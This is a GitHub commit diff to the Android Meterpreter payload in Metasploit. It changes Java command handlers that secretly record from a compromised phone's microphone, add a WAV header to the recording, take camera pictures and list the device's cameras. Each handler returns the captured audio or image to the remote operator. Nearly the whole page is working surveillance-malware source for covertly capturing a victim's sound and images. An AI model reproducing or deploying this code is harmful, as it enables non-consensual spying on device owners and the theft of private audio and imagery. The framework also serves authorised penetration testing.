Skip to content

Commit fa241ab

Browse files
committed
camera fixes and add wav header to audio record
1 parent 2316c23 commit fa241ab

File tree

3 files changed

+63
-31
lines changed

3 files changed

+63
-31
lines changed
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,9 @@
11

22
package com.metasploit.meterpreter.android;
33

4+
import java.io.ByteArrayOutputStream;
5+
import java.io.DataOutputStream;
6+
47
import com.metasploit.meterpreter.Meterpreter;
58
import com.metasploit.meterpreter.TLVPacket;
69
import com.metasploit.meterpreter.command.Command;
@@ -21,30 +24,52 @@ public class webcam_audio_record_android extends webcam_audio_record implements
2124
private static final int TLV_TYPE_AUDIO_DURATION = TLVPacket.TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 1);
2225
private static final int TLV_TYPE_AUDIO_DATA = TLVPacket.TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 2);
2326

24-
public byte[] getAudioRecorder(int duration) {
25-
int bufferSize = AudioRecord.getMinBufferSize(AUDIO_SAMPLE_RATE, AUDIO_CHANNEL_CONFIG, AUDIO_CHANNEL_ENCODING);
26-
int fullBuffer = duration * AUDIO_SAMPLE_RATE;
27-
if (fullBuffer < bufferSize) {
28-
fullBuffer = bufferSize;
29-
}
30-
AudioRecord recorder = new AudioRecord(AudioSource.MIC, AUDIO_SAMPLE_RATE, AUDIO_CHANNEL_CONFIG, AUDIO_CHANNEL_ENCODING, fullBuffer);
31-
byte[] buffer = new byte[fullBuffer];
27+
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
28+
ByteArrayOutputStream baos = new ByteArrayOutputStream();
29+
AudioRecord recorder = null;
3230

3331
try {
32+
int duration = request.getIntValue(TLV_TYPE_AUDIO_DURATION);
33+
int bufferSize = AudioRecord.getMinBufferSize(AUDIO_SAMPLE_RATE, AUDIO_CHANNEL_CONFIG, AUDIO_CHANNEL_ENCODING);
34+
int fullBuffer = duration * AUDIO_SAMPLE_RATE;
35+
if (fullBuffer < bufferSize) {
36+
fullBuffer = bufferSize;
37+
}
38+
39+
recorder = new AudioRecord(AudioSource.MIC, AUDIO_SAMPLE_RATE, AUDIO_CHANNEL_CONFIG, AUDIO_CHANNEL_ENCODING, fullBuffer);
40+
DataOutputStream da = new DataOutputStream(baos);
41+
byte[] buffer = new byte[fullBuffer];
42+
3443
recorder.startRecording();
3544
recorder.read(buffer, 0, buffer.length);
45+
46+
short bSamples = (AUDIO_CHANNEL_ENCODING == AudioFormat.ENCODING_PCM_16BIT) ? 16 : 8;
47+
short nChannels = (AUDIO_CHANNEL_CONFIG == AudioFormat.CHANNEL_CONFIGURATION_MONO) ? 1 : 2;
48+
da.writeBytes("RIFF");
49+
da.writeInt(Integer.reverseBytes(36+fullBuffer));
50+
da.writeBytes("WAVE");
51+
da.writeBytes("fmt ");
52+
da.writeInt(Integer.reverseBytes(16)); // Sub-chunk size, 16 for PCM
53+
da.writeShort(Short.reverseBytes((short) 1)); // AudioFormat, 1 for PCM
54+
da.writeShort(Short.reverseBytes(nChannels));// Number of channels, 1 for mono, 2 for stereo
55+
da.writeInt(Integer.reverseBytes(AUDIO_SAMPLE_RATE)); // Sample rate
56+
da.writeInt(Integer.reverseBytes(AUDIO_SAMPLE_RATE*bSamples*nChannels/8)); // Byte rate, SampleRate*NumberOfChannels*BitsPerSample/8
57+
da.writeShort(Short.reverseBytes((short)(nChannels*bSamples/8))); // Block align, NumberOfChannels*BitsPerSample/8
58+
da.writeShort(Short.reverseBytes(bSamples)); // Bits per sample
59+
da.writeBytes("data");
60+
da.writeInt(Integer.reverseBytes(fullBuffer));
61+
da.write(buffer);
62+
da.flush();
63+
3664
} catch (Throwable x) {
3765
Log.e(webcam_audio_record_android.class.getSimpleName(), "Error reading voice audio ", x);
3866
} finally {
39-
recorder.stop();
40-
recorder.release();
67+
if (recorder != null) {
68+
recorder.stop();
69+
recorder.release();
70+
}
4171
}
42-
return buffer;
43-
}
44-
45-
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
46-
int duration = request.getIntValue(TLV_TYPE_AUDIO_DURATION);
47-
response.add(TLV_TYPE_AUDIO_DATA, getAudioRecorder(duration));
72+
response.add(TLV_TYPE_AUDIO_DATA, baos.toByteArray());
4873
return ERROR_SUCCESS;
4974
}
5075
}

external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/android/webcam_get_frame_android.java

Lines changed: 19 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -1,26 +1,27 @@
11

22
package com.metasploit.meterpreter.android;
33

4+
import android.graphics.PixelFormat;
5+
import android.hardware.Camera;
6+
import android.hardware.Camera.Parameters;
7+
import android.hardware.Camera.PictureCallback;
8+
import android.util.Log;
9+
410
import com.metasploit.meterpreter.Meterpreter;
511
import com.metasploit.meterpreter.TLVPacket;
612
import com.metasploit.meterpreter.command.Command;
713
import com.metasploit.meterpreter.stdapi.webcam_audio_record;
814

9-
import android.hardware.Camera;
10-
import android.hardware.Camera.PictureCallback;
11-
import android.util.Log;
12-
1315
public class webcam_get_frame_android extends webcam_audio_record implements Command {
1416

1517
private static final int TLV_EXTENSIONS = 20000;
1618
private static final int TLV_TYPE_WEBCAM_IMAGE = TLVPacket.TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 1);
1719
private static final int TLV_TYPE_WEBCAM_QUALITY = TLVPacket.TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 3);
1820

19-
private volatile byte[] cameraData;
21+
private byte[] cameraData;
2022

2123
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
2224

23-
@SuppressWarnings("unused")
2425
int quality = request.getIntValue(TLV_TYPE_WEBCAM_QUALITY);
2526

2627
try {
@@ -29,20 +30,26 @@ public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket respons
2930
}
3031

3132
cameraData = null;
33+
//Parameters params = webcam_start_android.camera.getParameters();
34+
//params.setPictureFormat(PixelFormat.JPEG);
35+
//params.set("jpeg-quality", quality);
3236
webcam_start_android.camera.takePicture(null, null, new PictureCallback() {
3337
@Override
3438
public void onPictureTaken(byte[] data, Camera camera) {
3539
cameraData = data;
40+
synchronized (webcam_get_frame_android.this) {
41+
webcam_get_frame_android.this.notify();
42+
}
3643
}
3744
});
38-
39-
int i = 0;
40-
while (cameraData == null && i < 20) {
41-
Thread.sleep(1000);
42-
i++;
45+
46+
synchronized (this) {
47+
wait(10000);
4348
}
4449

45-
response.add(TLV_TYPE_WEBCAM_IMAGE, cameraData);
50+
if (cameraData != null) {
51+
response.add(TLV_TYPE_WEBCAM_IMAGE, cameraData);
52+
}
4653
} catch (Exception e) {
4754
Log.e(getClass().getSimpleName(), "webcam error ", e);
4855
}

external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/android/webcam_list_android.java

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -23,10 +23,10 @@ public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket respons
2323
Object cameraInfo = null;
2424
Field field = null;
2525
int cameraCount = 0;
26-
Method getNumberOfCamerasMethod = cameraClass.getMethod("getNumberOfCameras");
27-
if (getNumberOfCamerasMethod != null) {
26+
try {
27+
Method getNumberOfCamerasMethod = cameraClass.getMethod("getNumberOfCameras");
2828
cameraCount = (Integer)getNumberOfCamerasMethod.invoke(null, (Object[])null);
29-
} else {
29+
} catch (NoSuchMethodException nsme) {
3030
response.add(TLV_TYPE_WEBCAM_NAME, "Default Camera"); // Pre 2.2 device
3131
return ERROR_SUCCESS;
3232
}

0 commit comments

Comments
 (0)